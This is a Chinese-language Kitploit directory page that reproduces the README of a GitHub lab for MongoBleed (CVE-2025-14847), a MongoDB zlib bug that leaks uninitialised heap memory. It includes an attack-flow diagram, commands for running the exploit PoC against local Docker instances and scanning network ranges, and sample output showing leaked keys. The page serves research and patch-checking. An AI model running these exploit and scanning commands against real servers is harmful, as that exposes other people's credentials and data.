Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
mongobleed-exploit-CVE-2025-14847 — 漏洞利用、实验室、扫描器 - 外部和Docker容器,用于SMongobleed-CVE-2025-14847以及phoenix安全上传器 | Kitploit
工具/GitHubGitHub/franksec42/mongobleed-exploit-cve-2025-14847
容器安全内存取证漏洞分析漏洞利用渗透测试云安全学习与教育数据库安全实验室与实践

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
GitHubfranksec42/mongobleed-exploit-cve-2025-14847

mongobleed-exploit-CVE-2025-14847

漏洞利用、实验室、扫描器 - 外部和Docker容器,用于SMongobleed-CVE-2025-14847以及phoenix安全上传器

查看仓库
3116个月前尚未审核

🩸 MongoBleed - CVE-2025-14847 安全研究实验室

MongoBleed Logo

CVE-2025-14847 | CVSS 8.7 (高) | 未经身份验证的内存泄露


CVE-2025-14847,被称为 MongoBleed,允许未经身份验证的远程攻击者通过利用 MongoDB 的 zlib 解压缩逻辑来泄露未初始化的堆内存。这个高严重性缺陷暴露了敏感工件,包括明文凭证和会话令牌,为横向移动和完全接管服务器提供了路线图。

📖 完整文档 →


面向工程团队的快速概览

方面详情
漏洞组件使用 zlib 压缩的 MongoDB 服务器网络传输层
严重性高(CVSS 8.7/7.5)
影响未经身份验证的远程未初始化堆内存泄露
为何重要泄露的片段包含数据库密码、AWS 密钥以及内部服务器状态
利用状态公开的概念验证(PoC)"mongobleed" 已验证并流传
当前应采取措施立即升级到已修补版本或禁用 zlib 压缩

暴露规模

  • 87,000 - 194,000 个 MongoDB 实例公开暴露
  • 42% 的云环境受影响(Wiz Research)
  • 无需身份验证 - 在认证前即可利用

🔬 漏洞剖析

技术分析

该漏洞存在于 MongoDB 的网络传输层(message_compressor_zlib.cpp)中,zlib 解压缩逻辑的一个关键缺陷允许未经身份验证的攻击者泄露敏感服务器内存。

根本原因

root@kitploit:~
// 易受攻击的代码(修复前)
counterHitDecompress(input.length(), output.length());
return {output.length()};  // ❌ 返回分配的缓冲区大小

// 已修补的代码(修复后)  
counterHitDecompress(input.length(), output.length());
return length;             // ✅ 返回实际解压后的数据长度

利用流程

root@kitploit:~
┌─────────────────────────────────────────────────────────────────────────────┐
│                        MongoBleed 攻击向量                                   │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                              │
│   攻击者                         易受攻击的 MongoDB                            │
│      │                                    │                                  │
│      │  1. 发送 OP_COMPRESSED 消息         │                                  │
│      │     uncompressedSize: 8192(虚假值) │                                  │
│      │     实际数据:约100字节              │                                  │
│      │────────────────────────────────────>                                  │
│      │                                    │                                  │
│      │                          2. 分配8192字节缓冲区                        │
│      │                          3. 解压缩约100字节                          │
│      │                          4. 缺陷:返回 buffer.length() = 8192        │
│      │                          5. BSON 解析器读取未初始化内存              │
│      │                                    │                                  │
│      │  6. 包含泄露内存(作为“字段名”)的错误响应 │                          │
│      │<────────────────────────────────────                                  │
│      │                                    │                                  │
│   🔓 泄露的数据:                          │                                  │
│      - API 密钥、密码、令牌                 │                                  │
│      - MongoDB 内部状态                    │                                  │
│      - WiredTiger 存储配置                 │                                  │
│      - 系统 /proc 信息                     │                                  │
│      - 客户端连接数据                      │                                  │
│                                                                              │
└─────────────────────────────────────────────────────────────────────────────┘

受影响版本

发现时间线

日期事件
2025年12月15日发现漏洞;内部工单 SERVER-115508
2025年12月19日发布修复,披露 CVE-2025-14847
2025年12月24日MongoDB Atlas 集群已修补

📁 项目结构

root@kitploit:~
mongobleed-exploit-CVE-2025-14847/
├── exploit/                    # 🔴 利用实验室
│   ├── docker-compose.yml      # 易受攻击 + 已修补的 MongoDB 实例
│   ├── mongobleed.py           # 内存泄露利用 PoC
│   ├── init/init-mongo.js      # 敏感测试数据
│   ├── test-exploit.sh         # 实验室测试脚本
│   └── README.md               # 实验室文档
│
├── scanner/                    # 🌐 网络扫描器
│   ├── mongobleed_scanner.py   # IP/域名漏洞扫描器
│   ├── sample-targets.txt      # 示例目标文件
│   └── README.md               # 扫描器文档
│
├── code-scan/                  # 📂 代码扫描器
│   ├── main.py                 # CLI 入口点
│   ├── scanners/               # Docker、Python、基础设施扫描器
│   ├── models/                 # 发现、漏洞模型
│   ├── integrations/           # Phoenix Security 上传
│   └── README.md               # 代码扫描器文档
│
└── original-exploit/           # 📚 原始 PoC 参考

🚀 快速开始

1. 利用实验室

root@kitploit:~
cd exploit

# 启动实验室(易受攻击 + 已修补实例)
docker-compose up -d
sleep 10

# 测试易受攻击实例(应泄露内存)
python3 mongobleed.py --host localhost --port 27017

# 测试已修补实例(不应泄露内存)
python3 mongobleed.py --host localhost --port 27018

# 完整实验室测试
./test-exploit.sh

2. 网络扫描器

root@kitploit:~
cd scanner

# 扫描单个主机
python3 mongobleed_scanner.py 192.168.1.100

# 扫描网络范围
python3 mongobleed_scanner.py 192.168.1.0/24

# 从文件扫描
python3 mongobleed_scanner.py @sample-targets.txt --json --output results.json

3. 代码扫描器

root@kitploit:~
cd code-scan

# 扫描项目中的易受攻击 MongoDB 版本
python3 main.py scan /path/to/project

# 扫描并上传到 Phoenix
python3 main.py scan /path/to/project --upload-phoenix

# 运行测试
python3 main.py test

⚡ 快速命令

root@kitploit:~
# === 利用实验室 ===
# 启动实验室
cd exploit && docker-compose up -d && sleep 10

# 运行利用(易受攻击实例)
python3 exploit/mongobleed.py --host localhost --port 27017

# 运行利用(已修补实例 - 确认无泄露)
python3 exploit/mongobleed.py --host localhost --port 27018

# === 网络扫描器 ===
# 扫描本地实验室
python3 scanner/mongobleed_scanner.py localhost:27017 localhost:27018

# 扫描网络
python3 scanner/mongobleed_scanner.py 192.168.1.0/24 --threads 20

# === 代码扫描器 ===
# 扫描当前目录
python3 code-scan/main.py scan .

# 扫描并输出 JSON
python3 code-scan/main.py scan /path/to/project --json --output results.json

# 扫描并上传到 Phoenix
python3 code-scan/main.py scan /path/to/project --upload-phoenix

📊 输出示例

利用输出

root@kitploit:~
[*] mongobleed - CVE-2025-14847 MongoDB 内存泄露
[*] 目标:localhost:27017
[*] 扫描偏移 20-8192...

[+] offset=  117 len=  39: ssions^\u0001�r��*YDr���
[+] offset=16582 len=1552: MemAvailable:    8554792 kB\nBuffers: ...
[+] offset=18731 len=3908: MONGOBLEED_PRIVATE_KEY_DATA_123...

[!] 目标易受 CVE-2025-14847 攻击
[*] 总计泄露:8748 字节
[*] 唯一片段:42

[!] 检测到潜在机密:
    • RSA 私钥
    • 实验室密钥

网络扫描器输出

root@kitploit:~
[*] 使用 10 个线程扫描 254 个目标...

[1/254] 192.168.1.10:27017 - 8.2.2 [易受攻击 - 已确认]
[2/254] 192.168.1.11:27017 - 8.2.3 [安全]

摘要:
----------------------------------------
扫描目标总数:254
可达主机:       12
MongoDB 实例:     8
易受攻击:            3

代码扫描器输出

root@kitploit:~
================================================================================
MONGOBLEED 代码扫描器报告 - CVE-2025-14847
================================================================================

🚨 检测到易受攻击的 MongoDB 版本

1. [email protected]
   文件:/project/docker-compose.yml
   类型:docker-compose
   原因:版本 8.2.2 位于受影响范围 [8.2.0 - 8.2.2] 内
   ✅ 升级到:8.2.3
   CVE:CVE-2025-14847

🔗 Phoenix Security 集成

所有扫描器支持将发现项上传到 Phoenix Security 平台:

root@kitploit:~
# 创建配置
python3 code-scan/main.py create-config
cp .phoenix.config.TEMPLATE .phoenix.config

# 使用你的凭据编辑
# [phoenix]
# client_id = your_client_id
# client_secret = your_client_secret
# api_base_url = https://api.securityphoenix.cloud

# 扫描并上传
python3 code-scan/main.py scan /path/to/project --upload-phoenix

🔐 安全通知

⚠️ 重要提示:本工具包仅供授权的安全测试和研究使用。

  • 仅测试你拥有或已获得明确书面许可的系统
  • 未经授权访问计算机系统是非法的
  • 泄露的数据可能包含敏感信息 - 请负责任地处理
  • 通过适当的披露渠道报告漏洞

📚 文档

🔗 外部参考

  • OX Security Advisory
  • MongoDB Fix Commit
  • NVD Entry - CVE-2025-14847

👤 致谢

  • 原始利用由 Joe Desimone (@dez_) 提供
  • 实验室环境和扫描器增强用于安全研究

📄 许可证

仅用于授权的安全测试。请负责任地使用。


最后更新:2025年12月

下载工具
版本受影响范围修复版本状态
8.2.x8.2.0 - 8.2.28.2.3✅ 已修补
8.0.x8.0.0 - 8.0.168.0.17✅ 已修补
7.0.x7.0.0 - 7.0.277.0.28✅ 已修补
6.0.x6.0.0 - 6.0.266.0.27✅ 已修补
5.0.x5.0.0 - 5.0.315.0.32✅ 已修补
4.4.x4.4.0 - 4.4.294.4.30✅ 已修补
4.2.x所有版本无⚠️ 已停止支持
4.0.x所有版本无⚠️ 已停止支持
3.6.x所有版本无⚠️ 已停止支持
2025年12月26日
发布公开 PoC "mongobleed"
2025年12月28日观察到野外利用
文档描述
DOCUMENTATION.md完整项目文档
TECHNICAL_ANALYSIS.md深入漏洞分析
QUICK_COMMANDS.md可复制的命令
exploit/README.md利用实验室文档
scanner/README.md网络扫描器文档
code-scan/README.md代码扫描器文档